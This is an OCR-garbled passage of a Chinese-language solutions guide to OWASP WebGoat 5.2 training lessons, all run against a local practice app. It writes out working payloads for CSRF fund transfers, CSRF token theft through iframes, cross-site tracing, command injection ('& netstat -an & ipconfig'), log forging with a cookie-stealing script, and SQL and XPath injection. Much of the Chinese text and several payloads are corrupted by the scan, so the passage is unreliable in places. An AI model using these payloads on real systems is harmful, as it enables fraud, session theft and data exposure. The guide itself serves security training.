recaives this email and happens {5 be authenticated ot fhat tme wil nave his fnds.
transferred. When you think the attack is successful, refresh the page and you will find the
green check on the left hand side menu.

Title: |LOL‘ This is great!

<iframe src="http: //lncalhusl 8080/WebGoat/attack?Screen=5&

Restart this Lesson

framebor: "1 width: EHD“ scrolling=yes helght—"iﬂﬂ”
onload="document getElementById('frame2') src="http://localhos
/WebGoat/attack?Screen=56menu=900&transferFunds=CONFIRM' ; ">
</1frame>

<iframe id="frame2" frameborde
height="300">
</iframe>

width="800" scrolling=yes

| submit

Message List
Derived from CSRF Lesson by Sherif Koussa

OWASP Foundation | Project WebGoat | Report Bug

DU B~ 24 S 55 A2 XU 1 iframe Y S I 1 45
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Fle Edit View History Bookmarks Tools Help
@ L = | httpflocalhost:B080/WebGoat/attack?Screen="5&menu=900&Num=2 ~ w0 &
( I o
|
rgery
| submit |
= Sl b
Message Contents For: LOL! This is great! b
S Title: ~ LOL! This is great!
: =
cation
tion
OWASP WebGoat V5.2 =
ing
nt Flaws g‘;:&?‘:ft'”“ Solution VideosSimilar to the CSRF Lesson, your goal is to send an  Restart this Lesson
s —— email to a newsaroup that contains multiple malicious
AIAX Secutity B requests: the first to transfer funds, and the second a request to confirm the prompt that the
A RCa b L first request triggered, The URL should point to the CSRF lesson with an extra parameter
Biffap OverFlowe" "transferFunds=4000", and "transferFunds=CONFIRM", You can copy the shortcut from the left | | |
Code Qualtty hand menu by right clicking on the left hand menu and choosing copy shorteut. Whoever .
€ pAcas arky receives this email and happens to be authenticated at that time will have his funds
Cross-Site Scripting (XS55) transferred. When you think the attack is successful, refresh the page and you wil find the
i e green check on the left hand side menu.
Frighpy with JO3.
LAB: Cross Site Scripting ;i ®
LR SIS SEEART Electronic Transfer Confirmation:
Stime L stored s Amount to transfer: 400
stage 2: plock stored %55
using Input Validation CONFIRM || CANCEL
stage 3: stored wis
i, RevisTied [~
<[] L [>]
Message;]
OWASP WebGoat V5.2
g‘;:\id“ft“'” Solution VideosSimilar to the CSRF Lessan, your goal is to send an  Restart this Lesson
St M email to @ newsgroup that contains multiple malicious !
AT requests: the first to transfer funds, and the second a request to canfirm the prompt that the 3
hE e first request triggered. The URL should point to the CSRF lesson with an extra parameter
Authentication Flaws
Buffer Dverflows "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the left ||
Core ity hand menu by right clicking on the left hand menu and choosing copy shortcut, Whoever
Concurrency receives this email and happens to be authenticated at that time will have his funds
Crass-Site Scripting (XS§) transferred. When you think the attack is successful, refresh the page and you will find the
G areen check on the left hand side menu.
Phishing with X55
LAB: Cross Site Scripting Y .
MR * Congratulations. You have successfully completed this lesson.
Stage 1: stored %55
stage 2: plock stored s 3
wsing Input vahdation Electronic Transfer Complete
[ ET Amount Transfered: 400 |
e [+]
< I 5]
Posted .
By: basic
Message List
LOL! This is great!
Derived from CSRF Lesson by Sherif Koussa
OWASP Foundation | Project WebGoat | Report Bug B
[=] [ I [+]

/f/\‘—/l\

FEE—A frame /R TP HIME R, &AL AIER BT il R 145 R
frame 27 A2 O it FOBRIAAE SR filh & 1045 SR 4000 570 LRI EIK . Il LT, e AR HE
AFTRFE.

Ha b, fEESER S DL B S B RS . T "restart this lesson" J& F- KA 33 &
Booke, AT 2268 FH BRI E AR % /N 1 frames SEELICHE B R -

B R R, RN B E— A HTML 2 fil ok — AN R . BT LA AT
onload J&1%, SCHLTHHM.

i P

<img src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
onerror="document.getElementByld('image2’).src="http://localhostattack?Screen=81&menu=210&transf
erFunds=CONFIRM™ width="1" height="1" />

<img id="image2" width="1" height="1" />

FER AAE AP A Z I A ACRS, R4S B Sy .
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Fle Edit Wiew History Bookmarks Tools Help

- v g = |@ http:/localhost:8080/WebGoat/attack?Screen=5&menu= 2900 ‘V| [EX e
Logout e

CSRF Prompt By-Pass

T T - S

Solution VideosSimilar to the CSRF Lesson, your goal is to send an  Restart this Lesson
email to a newsgroup that contains multiple malicious

requests: the first to transfer funds, and the second a request to confirm the prompt that the

first request trigggred. The URL should point to the CSRF lesson with an extra parameter

"transferFunds=4LP0", and "transferFunds=CONFIRM". You can copy the shartcut from the left

hand menu by right clicking an the left hand menu and choosing copy shorteut. Whoever

receives this email and happens to be authenticated at that time will have his funds

ting (¥S5) transferred. When you think the attack is successful, refresh the page and you will find the

areen check on the left hand side menu.

Title: LOL!!! So Funny!

Message: [y src="http: //localhost : B0BO/WebGoat /at tack PScreen-5&
menu=000&transferFunds=400"

onerror="document. getElementById(*image2').src="http://localho;
/MebGoat/attack ?Screen=5&nenu=000&t ransferFunds=CONFIRM' ;
width="1" height="1"/>

OWASP WebGoat V5.2

Introduction

General

Access Control Flaws
AJAX Security

Authentication Flaws
Buffer Overflows
Cade Quality
Concurrency

Cra

<ing id="inage2" width="1" height="1"/>
Storad 55 attacks
Reflected XS5 Attacks

Ci Site Request Forgers

CSRF Prompt By-Pass 1 I B
CSRF Token By-Pass
HTTPOnly Test | Submit |

Cross Site Tracing (¥5T!
Attacks

Denial of Service Message List

Improper Error Handling Derived from CSRF Lesson by Sherif Koussa
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

OWASP Foundation | Project WebGoat | Report Bug

PEAC JE RETE B U, RIS AR . X T R SR U R ] CSRF B —Fh ik
e A e iFdt HTTP POST $2 2 4. 1% 07 2K B il iframe 1 images 7 3K 2 1 Lt
{EXF JavaScript H1 [1] XmIHTTpRequest Jo &K « HH T RUAMAAE AT, &80T UL i XmIHTTpRequest
RALET POST i

2.8.6 Z%jd CSRF Token (CSRF Token By-Pass)

2.8.6.1 FAREEAKERF (Concept / Topic To Teach)

KA IRFE R T8 ST (E 3 CSRF Token B3 i WA b | % 68 5 ik 1 R 14 i B i
(CSRPF) .

P ROy Bty (CSREIXSRF) i P OREe &R T RAME) Sl A
Dt 17 3K (1 5L AT AT AR S 2

FT Token B SR IAE T BH - M8 e 35 o 245 ARTE S 3K &S TUTHI 4 A\ Token. Token
F T 58 B SRAN S0 1 R E AN A2 8 AR HAT (). OWASP #24IL1¥) CSRFGuard 1 %4
A LAFHIE CSRF Tt
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Bk, (HWRZE SR XSS B, WRZE AR TSt . i N A FJR R
%,ﬁﬁﬁ%?%ﬁﬁ%%&m B IR

2.8.6.2 HAREHE (How it works)

W i - AR TS KB AE,  HSERTEE HTML+avaScript [ 55 #8 A0 1E K .

2.8.6.3 S{&xH#r (General Goals)

5 CSRF IRFERML, 4810 H brsd 45 8 4R %6 S B R0E R 1) Email SEBLE &HIK. N
T RIhE I, 8T RS AN IRAETE K Token. HIRFEMKE B URL 2R{LLT CSRF MR
A (1 4B 24 "transferFunds=main". ZNIZ LT, $HL Token FEIE N2 O i =K H LASE
LR S5

HER: AN[E WebGoat 3%/ URL  “Screen” 1 “Menu” SH RSB FTX A, &
FA#AB BT 18] URL FR IEZEME IS5

2.8.6.4 ¥{EFHE (Solutions)

AT CSRF RFE, B AihiE R SR s R . R Wt, g kb %A a8 B
If) Token, FEFMALEIN, EIRBEE Token, 1T EATE WX uGAE BRI & 456 MK 71 1Y
REONE BB R T, 75 BT WAL URL H38 in 45824 "transferFunds=main".

L ] CSHF Token By-Pass - Mozilla Firefox -f 0 x
Ble Edt Vhew Higtory Bookmorks Tools Help

u=900&transferFunds=rmamn ~| G~

il
o

- v & = |[E htpifocalhost:8080mwebGootiattack?Screen=2Emen

wdiv id="nessage” ¢

<div id="lessenContent™=<forn accept-charset="UNKNIAN' method='FOST' nane-'fo
<hl>

Electroniq@ransfer:

</hl><form accept-charset="URKNOR" id=* tranferFora® -‘tlﬂ-m action="attack PScroens2laeny
A Fromgn fix? <input n-e-\rmifurh.mdi type='toxt’ value=
S <input name='CERFToken’ typeshidden® values' o
> 7 <input type='subait'=>
=/ forma<bra<hr=<br=>
</ form=dlv-

Line 551. Cal 7

N HEEE MRS, R E] Token Z4L
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<form accept-charset="UNKNOWN' id="transferForm' method='"POST"
action="attack?Screen=2&menu=900"' enctype="application/x-www-form-urlencoded'>
<input name="transferFunds' type="text' value='0">
<input name='CSRFToken' type="hidden' value='1745740650">
<input type='submit>

</form>

HH ] DA B i fin 4 75 224858 CSRFToken 4.

IR TT RIEAE—A iframe RN T, 28)5 Mi% frame HiHLH Token.

T EE M S, 3] Token 240, BT WA TLHE—MEL T, 2T RIVHFR,
EFERIRAERATATH . BrLL, SRR DU R 1 PHAE CSRF MUi i4& i, (H T CSS Il 1)
FIE I EEe s g e . NI A9 JavasScript it frame->forme 145 7] DL E HE AR 77
CSRFToken Z#{.

var tokenvalue;

function readFramel()

{
var frameDoc = document.getElementByld("framel").contentDocument;
var form = frameDoc.getElementsByTagName("form")[1];
var token = form.CSRFToken.value;
tokenvalue = '& CSRFToken="+token;
loadFrame2();
}

function loadFrame2()

{

var testFrame = document.getElementByld("frame2");

testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+t

okenvalue;

}

readFramel M frame P %5 #1152 CSRFToken, f#47 31 H loadFrame2. LoadFrame2 ¥ i&
IS HIH NG /) frame.

NI frames ¥ —> frame FENELIKTUH . ARG, EHHH
readFramel, 1% Frame ¥ loadFrame2. loadFrame2 F T & & % — 4> frame

H] srce

<iframe  src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
onload="readFramel();"

id="framel" frameborder="1" marginwidth="0"
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marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>

B R AR T BAE A AR o

CSTE TORAN By a6e =MD FITeT0%. .

Ble Edit Wiew History Bookmarks Tools Help
& B ve =3 @ http:jflocalhost:8080/WebGoat/attack?Screen=2&menu=800 ~ | 13| E &,
£ Most Visited v GaCSRF v @ WorkTools v 5 0ld bookmarks v Sjava ~  &java security v G SecRef v GaToRead v GaTest v @Tomcat ¥  Gacaucho-resin v »
Logout @
CSRF Token By-Pass
OWASP WebGoat V5.2 sson Plan  $ha Solutie
Tasihe Salution VideasSimiler to the CSRF Lesson, your goal is to send an  Restart this Lesson
email to 2 newsgraup that cantains & malicious request
12 Wransfer funds. Ta successiully complete you need to obiain a vaid request token. The URL
that presents the transfer funds form is the same as the CSAF lesson with an extra parameter
“ansferFunds=main’, Load this page, read the token and append the token in a forged
request to transferFunds. When you think the attack is successful, refresh the page and you
wil find the greeficheck an the left hand side menu,
Tie (oL
Mes3909: oo rpt Language=" javescript'>
B
var Tokenvalue:
function readFramel ()
i
{raneloc =
dacunent en=ntById("framel® ). co
var forn = fransfiog. gatEl e(*Forn"3[0]:
var token = forn.CSAFTak
tokenvalue = 'SCSFFToken="+token;
ToadFranez2(); <
Submit |
Message List
Derived fram CSRF Lesson by Sherif Koussa
OWIAS® Foundation | Project WebGoat | Report Bug
e T ®

THEERT AGZAHENER., FE, ZPBARXIUEMEEE frames 1
i, ISR E S i frames F& i J5 B ERAS POST 3K »
T R A PR 45 5.
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CSHEToken Hy47aee - MoZilla Firsfox

Fle Edt View Histery Boockmarks Tools  Help

L v & = | hitpitocalhost B000MWebOoat jattack?Secraen= 25 MNurm=2 = |_('_'.i"_

EmMost visned ~ LS CSAF v aWorkTools » LG Old bookmarks ~  Gjave v Lajava secunty v LaSecRef v GWRead v GTest v LaTomcat v L caucho-resin v

Message Contents For: LOLEHI
Tithe:  LOLin

2o Derived from CSRE Lesson B Sherif Koussa x|

Message List

Derrved from CSRF Lesson by Shenf Keussa

Tansterring data from kcalhast.. . #

2.8.7 HTTPOnly jMli®, (HTTPOnly Test)

2.8.7.1 FAREEAKER (Concept / Topic To Teach)

N T FEARES st BAA T AR B, OB ST\ 138 cookie JE M7 BL: - “HTTPONly” o —
HAZTBARiE, WEasR2E b2 P im A7 7 Cookie. 1T iZ/@PEAHXBORT, A L8l
FIE TR IERAL P A

2.8.7.2 FAKRIE¥E (How it works)
Tco

2.8.7.3 E{*xH#%r (General Goals)

AURFE H A2 MR o Y28 2 5 SC R “HTTPONly” [ cookie #ri&i. VERE “unique2u”
f) cookie 1B . HITHME N BTS2 “HTTPONly”, FFJEH T — cookie, % )7 3 ARG 2 A
REBS LI E S N cookie H, HIZIERAT LRI 48 A& B ME . A L8 Y gs K aep k%
Ut VTR, JCVENT IS V5 .
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2.8.74 ¥{EF% (Solutions)

ST R FHAIZE R “HTTPONly” fIH& DL T & “Read Cookie” il “Write Cookie” , 7
FHATAR, fEAEH HTTPOnly FIfEHL T, Bef%E 2 unique2u I{E, 1 &5 H HTTPONly
2 JEMTEiEE 2IXAME .

Windows Internet Explorer

1 ‘: uniguezu=gl0Smel30CyZMxBFAK oW oNyrIE=; JSESSIONID=9167E3A6FSEEDIC2A4623079A30ES224
L=

2.8.8 UL IREFBTT (Cross Site Tracing (XST) Attacks)

2.8.8.1 FARMAKERF (Concept / Topic To Teach)

LR P NG AR R, Rl R IR RIS AR oS A B P &
WSERHN . TEHAZ LG Z R A . P ARERIEARARH B A, fln: W]
DS ECH AT U7 T B 28N A FIUYI ) T 1 B P 25

2.8.8.2 FAKIEIE (How it works)

HTTP J57:f%%: HEAD. GET. POST. TRACE. PUT. DELETE %,

2.8.8.3 SE{*xB#fx (General Goals)

Tomcat 32 #F HTTP TRACE 74, 11 H Ar & AT 5 ol BREA Bt .
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2.8.84 ¥{EA’E (Solutions)

T8 5 LA FH I o BRI M, 1X AT LB i 72 three digit access code ”HH ik A\ JHIAS RS2 H1L
DL AR iE XMLHTTP $2%2 HTTP TRACE 4

<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") =-1) {var xmIHttp = new
ActiveXObject("Microsoft. XMLHTTP");xmlIHttp.open("TRACE", "./", false);
xmlHttp.send();strl=xmlHttp.responseText; while (strl.indexOf("\n") > -1) strl = strl.replace("\n","<br>");

document.write(strl);}</script>

Solution Videoslt is always a good practice to scrub all input, Restart this Lesson
especially those inputs that will later be used as

parameters to 05 commands, scripts, and database queries. It is particularly important for

content that will be permanently stored somewhere in the application. Users should not be

able to create message content that could cause another user to load an undesireable page or

undesireable content when the user's message is retrieved.

General Goal(s):

Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross
Site Tracing (XST) attack.

Shopping Cart

Shopping Cart Items -- To Buy Price Quantity Total
Now

Studio RTA - Laptop/Reading Cart

with Tilting Surface - Cherry 69.99 1 $69.99

Dynex - Traditional Notebook Case 27.95 1 $27.99

Hewlett-Packard - Pavilion

Motebook with Intel® Centrino? 1599.99 1 $1599.99

3 - Year Performance Service Plan 299.99| 1 $299.99

$1000 and Over
The total charged to your credit card: $1997.96 Update Cart

Enter wour credit card number: 4128 3214 0002 1999

Enter your three digit access code: ment.write(str1):}</script=|

Purchase
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Solution VideosIt is always a good practice to scrub all input, Restart this Lesson
especially those inputs that will later be used as

parameters to OS5 commands, scripts, and database queries. It is particularly important for

content that will be permanently stored somewhere in the application. Users should not be

able to create message content that could cause another user to load an undesireable page or

undesireable content when the user's message is retrieved.

General Goal(s):
Tomecat is configured to support the HTTP TRACE command. Your goal is to perform a Cross
Site Tracing (X5T) attack.

* Congratulations. You have successfully completed this lesson.
* Whoops! You entered instead of your three digit code. Please try again.

Shopping Cart

Shopping Car:‘gfms -~ ToBuy | price Quantity Total
Studio RTA - Laptop/Reading Cart

with Tilting Surface - Cherry 65.99 1 $69.59
Dynex - Traditional Notebook Case 27.99 1 $27.99
Hewlett-Packard - Pavilion 1589.99 | 1 $1599.99

MNotebook with Intel® Centrina?

3 - Year Performance Service Flan
$1000 and Over 299.89 | 1 $299.99

The total charged to your credit card: $1997.96 Update Cart

Enter your credit card number: 4128 3214 0002 1999

Enter your three digit access code: <script type="text/javascri

Purchase

29 A HAHEIRLIE (Improper Error Handling)
2.9.1 FTFANIELM A R (Fail Open Authentication Scheme)

29.1.1 HAREESHEM (Concept / Topic To Teach)

AFRRES A T RTINE “TEATIF” EEARNR . Fl 2 aRiERDE, “fail open” il
BT ANRAENLEIIAT A X2 —NRIETERIIGIESS ROV “true” IAERIEHR (AN
S FEESRARET, IR RIE R .

2.9.1.2 HARFEHE (How It works)

Java A5 A 5 4 AR B S 0 N I IEAT W HEAT S AR 2 3 A RO s B
JEICSE =
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2.9.1.3 S{xH#r (General Goals)

e oo P VAR 32 SURINTIX R

29.1.4 #{E5A% (Solutions)

LA 44 webgoat 3%, )3 webscarab, #EATH:EL

Solution VideosDue to an error handling problem in the authentication Restart this Lesson
mechanism, it is possible to authenticate as the

'‘'webgoat’ user without entering a password. Try to login as the webgoat user without

specifying a password.

Sign In
Please sign in to your account. See the OWASP admin if you do not have
an account.

*Required Fields

*User Name: webgoat

*Password:

ASPECT

Appiication Securify Specialisrs

—

g “Password” —#4%, i “Delete” WMIFRIZIETN, SRJ5i1%EFE “Accept Changes” #2

RN
T~
o

£ Edit Request =5 EoH )

Intercept requests ; Intercept responses : [ |

Parsed | Raw |
Method URL Wersion
FOST | |ht‘tp:Hlocalhost.:BUSUN\lebGoaUanack?Screen:EU&menu:11EIE| | |HTFF'J’1.1
Header Yalug
Accept imagelpey, applicationt:ms-application, imageigif, applicationtaml+ml, imagelpjpedy, applicationterme-xhap, .||«
Referer hitp:iflocalhost. 80800 ehGoatfattack?Screen=608&menu=1100
.3 Insert
Accept-Lan... zh-Ch =
User-Agent |Mozillald 0 icormpatible; MSIE 8.0 Windows NT 6.1; Tridentid.0; SLCC2; NET CLR 2 050727, NETCLR 35307 | pealete
lIContertTy... [applicationdewsw-forrm-urlencoded
Accept-Enc... |gzip, deflate -
Host localhost 808 -
T e
URLEncuded | Text | Hex |
Wariable Walle
Username wrehgoat
Fassword
SUBMIT Lagin

Insert

Delete

Cancel ALL intercepts

I Cancel chang | Abort request |
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Solution VideosDue to an error handling problem in the authentication Restart this Lesson
mechanism, it is possible to authenticate as the

'webgoat' user without entering a password. Try to login as the webgoat user without

specifying a password.

* Congratulations. You have successfully completed this lesson.

Welcome, webgoat
You have been authenticated with Fail Open Error Handling
Logout

Refresh

ASPECT

Appiieation Security Specialists

2.10 ;FAEPE (Injection Flaws)
2.10.145 % (Command Injection)

2.10.1.1 FHARBEAKER (Concept / Topic To Teach)

T RIENBLATRHAE AT — A P S BR B 3l f R Ul 2 — AN ™ B o XA B R ¥
MIBARTT %, 5, ReGMRORTER RS, kR % e, RAEXFREEH 2 AHELL
BAE, BB PR GURE 5 2 21X M R 5

RMBE S Y B G RCEIRRIR . BN TR, — mUR IR T B LT AT
PlsgasfHab . XA PR N RS I LN S ERE AR BT

TRV IS SR AN RS, IO AR ] TR R G AL
I P A v A A Hdls

2.10.1.2 FEAREHE (How It works)
TEIE B IS EORASEFET, VRIE R MOFRRD, A 4: Aehs /3 3 LUl gk .
2.10.1.3 SE{*xH#r (General Goals)

A ER A RS AE AR BN EPATRT R G2
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2.10.1.4 ¥{E5’% (Solutions)

=z
T

JE 5l WebScarab. TEUVRFE U A T HFIR PMERIERE— D IUH, )5 “View”

{7 Humwe 10 Parfarm Command injectian - Windeey inferned Fapioner

G 8% |8 v ettt et e 5o | WEE—t £ - 4 m B
Coogle G modets » Goo g B~ O Sesimariee B bhcked | TF Ol = o Atk = | S ) (G, eedachase [ dommemeie —a o e
Drwie Foom - QAW D =D €|

W s Pevtam Commarel Inpcmn Br- - rteme Qe

How to Perform Command Injectian

b TV R SR —

Healart Uhis Lessan
Cheuse the lessos pies veu wold bee n v, Try o njsct @ commasd t the osersting
e

T wrw carrently vrmeg: BasiAuthentication help

Sslact the lsasos pae tn e DaacAuthsbc fion helj | View |

Fmacmsehis for ‘cmd mue /¢ ype “Ciilimdom Veaboni -4 11 R wimssm e b i
4.5, Ealaass AsmIar Aetacna WERGAR SEEEN _[Rne MRt hane can.cn el
=
Lewsan Flan Tibe: Sase Scthers
e

Concept | Topic Te Tesch:

neac At

Saad I prfcT Beraes nate rmEsT

8 o et . e -

i3 WebScarab HERIEK, FEFTERM AL “ & netstat —an & ipconfig” . 7%
AT T] 5

< Edit Request

Intercept requests : Intercept responses: [ |

Parsed | Raw |
Method URL Version

[PosT | |htipiinen:80ivebGoatiattack?menu=A10 | [HTTRs11

Header Walue
Accept imageiif, imagel-xbitmap, imageljpedy, ima...| =
Referer hitpfineciWehGoatiattack? show=kexdHint&.
Accept-Language nl-he

Content-Type applications=ww-farm-urlencoded
UA-CPL 86 _| Insert
Accept-Encading gzip, deflata Delete
User-Agent Mozillafd.0 {compatible; MSIE 7.0 Windows ..
Prow-Connection Keep-Alive

Content-length 45 =
Host neo
Fragma no-cache |
s A Y

URLEncoded | Text [ Hex |

Wariahle Yalue
HelpFile sicAuthentication.help” & netstat-an & ipconf Insert

SUBMIT iEw I
| Delete

| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts ‘

T PAAT R [ T, RIS BT P BETE B 2% s A RS SO TP Mkt BRI AT

AL T Bt

108 /177



The Open Web Agplicalion Socerily Project

9 OWASP th =]

http://www.owasp.org.cn

2.10.2#F & saL ;¥ N\ (Numeric SQL Injection)

2.10.2.1 #HARBZRLEM (Concept / Topic To Teach)

SQU E NI AR — A AR 8 A D9 BB ) oty s R U A2 — AN ™ Ly o XM Ly
BARB R MBI, fR5Y, REGmREE R, kR gae. REXEREEH
A NAMELVESE, THRM T RGURE 5 2 I A Bl

XMBEE S Y B ERCEIRRIRE, BRI, — U RIS B JLF vl
PLsE g fHab . XA PR N B ORI LA S EGE A BT

SR SQL N EM AT g L2t ilid e g, (H TR P A K A AN
M, JCHAEALER B T B R Gean & A A Bodis e ) i ) 1 il

2.10.2.2 FAKR[EIE (How It works)

1E station FEHFEANFHIEFRT, Bedl & HOHT ) SQL 1HEH) .
SELECT * FROM weather_data WHERE station = [station]

2.10.2.3 2{xH#r (General Goals)

R IOV P PR R ACHR . BN SQL /58 107 A HT A 1 K UK
1.
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2.10.2.4 ¥{E5% (Solutions)

FTHF WebScarab, #RJaikFE— N, & “GO” , WebScarab H4x WoniZiihide s,

g5 Ja i “1=1" , B

Intef copl requeests : ¢ InfelCopl 1 espoises |

B2l o BT o I R L

Parsed  Haw
Mothod URL i sion
POST | [hitp Mocalhost 30ANSDGoatatack? Soreen=sSEEManu=E HTTF.

Ha ydar

051 o alngst i __.,E':,[,_,

atAqand Macillads O 0dndos Ll Windoews MTAD da el A1 1= Dalsta

[l [
.

UFLEncoded | Text = Hex

Varnabla Valua
station TINTEET g
SLIBMIT L] —
Deleta

* Congratulations. You have successfully completed this lesson.
* Slarl this lesson ower 1o allack a paramelerized query.

Select your local weather station: | Columbia =
[ Gal |

SELECT * FROM wearher datsa WHERE statiem = 101 &z 1

= 1

[sTATION [NAME

STATE [MIN_TEMP |HM_'I' EMP

[101 [Columbia MD -10 (102
[102 [Seattie WA [-15 50
[103 MNew York NY -10 110
(104 Hauston T 20 120
[tooot — [[Camp David AT 100
[11001 Ioe Station Zebra [NA =60 30

= =

2.10.3 HEHMm (Log Spoofing)

2.10.3.1 FHAREEAKERR (Concept / Topic To Teach)

AT URTE G Fos f oAy A P R R

2.10.3.2 FAKR[E¥E (How It works)

AP AE H SO & SR IR, Soets 2 m] DA A 3G B Al A T E H SR

TR
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2.10.3.3 2{xH#r (General Goals)

IREXIFARRLE Web RS54 10 HEPRHCRHIN S . BRI H RS 4 “admin”
M PE R PER “RIER” .
THESERIBGE, BN A2 H B E A A

2.10.3.4 #{EF’%E (Solutions)

AATRIEEZ P N — AN P 44, JRRIGE I H EZ 0.
ESCAMEFHI N 144 : “smith Login Succeeded for username admin” X #£ ] 7 4 J&
S B ER—AT SR, MARER K —1T.
Solution Videos* The grey area below represents what is going to be Restart this Lesson
logged in the web server's log file.

* Your goal is to make it like a username "admin" has succeeded into logging in.
* Elevate your attack by adding a script to the log file.

Username:

Paszsword:

Created by Sherf Kous=sa m_m

OWASP Foundation | Project WebGoat | Report Bug
XFEIE AT DA Z N H R yENE A (0D%) FHATHRF (%0A) . 7E username HHIEA
“Smith%0d%0alogin Succeeded for username: admin” , XFEFLTE T %R,

Solution Videos* The grey area below represents what is going to be Restart this Lesson
logaed in the web server's log file.

* Your goal is to make it like a username "admin" has succeeded into logging in.

* Elevate your attack by adding a =script to the log file.

* Congratulations. You have successfully completed this lesson.

Username:

Password:

Created by Sherif Koussa [N
OWASP Foundstion | Project WebGoat | Report Bug
Beati 2 ] LA X Fh o7 3 H G SO s B A, B B0k (45 58 HE 01 Re g i it
DR RS AR, WRI “admin <script>alert (document. cookie)</script>” 1ENHH ' &%
ANZH 2GR AW ?
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Solution Videos* The grey area below represents what is going to be Restart this Lesson
logged in the web server's log file.

* Your goal is to make it like a username "admin" has succeeded into logging in.

* Elevate your attack by adding a script to the log file.

Username:
Password:
Login
SEFEAEE =X

l i JSESSIONID=4A42E8023A57FOB2CB6CBDCOBSEFSSTF

2.10.4XPATH &3 N\ (XPATH Injection)

2.10.4.1 #HARBZRLEM (Concept / Topic To Teach)

ARG H S 18I0 T SE i XPath EA T

2.10.4.2 FAKRIEIE (How It works)

5 SQL EAZML, XPATH JENKAELE S w8 A A - SR AER (5 B Al XML HdfEi .
T v Y R R S AR R, B T DU I XML HiHis 1) 285 K B Tl A 6 A SR T v 1l
B EHE. RIZ XML 22— YAESCHE (Flan— 5 XML RS . Bk
EREAE LT B CAE Ml AL A XPATH #1f) XML, i — A a] S 1 ik v 1 )
KM, VF XML i, B FEE. & SQL —HE, &n] DU e Rk B L g 1 5
ULAC.

HoAMEE R XML, SRR AN, ERTar S, LEAGER R R
I A s AR U o BESE AN L ATHEAT IR U, AR E AN 250 XPATH (&), Fik [l
R

2.10.4.3 Z{xH#r (General Goals)

LU R B AVE A TE R A CRPTA DGR GAR AR5 & RIK 7 /2 Mike/test123.
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B A AR =R E AR 5 B .

2.10.4.4 #{E5%E (Solutions)

XPATH VEAZEAT SQL VEN o 3l ARIGUERIH A G & — > XPATH il 1 I REH 240
A F E—AN XPATH 2 i) 1% ARSI R

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");

File d = new File(dir);

XPathFactory factory = XPathFactory.newlnstance();

XPath xPath = factory.newXPath();

InputSource inputSource = new InputSource(new FilelnputStream(d));

String expression = "/employees/employee[loginID/text()=" + username + ™ and passwd/text()=""' +
password + "

nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

FER T ZAEEN Smith’ or 1=1 or "a' =" a, XML REERRGNHE K. B
s A 7 B, T RME R .
PAN R 55 e s -

expression = "/employees/employee[loginID/text()="Smith' or 1=1 or 'a'="a' and

passwd/text()="password"

N S

expression = "/employees/employee| ( loginID/text()="Smith' or 1=1 ) OR ( 'a’="a’ and

passwd/text()="password' ) ]"

NG R SRRITE BIHAR ARG, e IR

2.10.5FFFR BTN (String SQL Injection)

2.10.5.1 FARBEAKER (Concept / Topic To Teach)

SQU VE N XA AT — A A 22 1 D9 SR B0 At sty SR Ul 82 — S 7™ B o XA LA
REFBAT I, RR5%5, ERKEENSE, ARG TE. RERENEHH S
MNAELVEAS, TR T R GRS 52 2R A AR

RMBEE S Y B G RCEIRRI, BN TR, — U RIS B LT AT
PLsg g Pk XA PR N B ORI LA S HRE AP T

SR SQL HENE AT fiE Szt il He Uy A, (H “TEEE” P A K A AN
M, JCHAEMLER B T HRAE R Gt an & BBl e A 1 ) 1 il
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2.10.5.2 FAKR[EIE (How It works)

T LU EWIEAAIE EH R saL AN TR
SELECT * FROM user_data WHERE last hame = '?'

2.10.5.3

THEKIERR, RV EEMITREN RS, Sl SQL AT EHRMER
BoRiik. ZRXMH 42 “Smith” .

2{&B#r (General Goals)

2.10.5.4 #{E5% (Solutions)

BN LAY R AT S A EREE N 2

‘or1=1-
/=%

Smith' or 1=1 --

* Congratulations. You have successfully completed this lesson.
* Bet yvou can't do it again! This lesson has detected your successfull attack and
has now switched to a defensive mode. Try again to attack a parameterized

query.
Enter yvour last name: "or 1=1 — Gol
SELECT * FROM user data WHERE last name = '' or l=1 --'

USERID [FIRST_MNAME |[LAST_NAME |CC_NUMBER

101
101
102
102
103
103
10312
10312
10323
10323
15603
15603
15613

Joe

Joe
John
John
Jane
Jane
Jolly
Jolly
Grumpy
Grumpy
Peter
Peter
Joesph

Snow
Snow
Smith
Smith
Flane
Plane
Hershey
Hershey
White
White
Sand
Sand
Something

987654321
2234200065411
2435600002222
4352209902222
1253456789
333498703333
176896789
333300003333
673834489
33413003333
123609789
338893453333
33843453533
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WISA
M
M
AMEX
M
AMEX
M
AMEX
M
AMEX
M
AMEX
AMEX

0
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2.10.6/SEE: saQLEA (LAB: SQL Injection)

2.10.6.1 HAMEARLER (Concept / Topic To Teach)

SQL 1 AT R AE AT — AN DAKICHR e 1 AR5l P03 155K 8 20 e — A% S o S B
R R HHEA T, FHG%, MG A ISE, GhRG7s. RE KRG H 4
NAELVE (S, TR AR ) RGN 5 2 3 i 2 1 BT

SRS 28 S, e IR AR, (ELR X T, — R R T T LR
BATEABRLIE . 6 A A2 R R TN S EOE A )T

R SQL FE N R AT A T2l e 7 st i, (H “IETE” I SR SO SR R
(i, TR AR P TR0 R i 4. IS RIS e 25 35 4 (e .
2.10.6.2 FHAJEIE (How It Wokrs)

NP B B B AT NS 61 saL EifiE ).
2.10.6.3 Stage 1: FFFHEEEN (Stage 1: String SQL Injection)
2.10.6.3.1 2{&H#¥r (General Goals)

A SQL VEASeTAILE

2.10.6.3.2 #{E5 7% (Solutions)

PLF ' Neville &g, #fiff WebScarab B4 83l, JFiEF T “intercept request” o
RN —NEN, RGEEZR.
1E WebScarab H] password FEHMURIL N smith” OR 17 =1, wkA:
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Intercept requests : Intercept responses: [ |
Parsed |’Raw |
Method URL

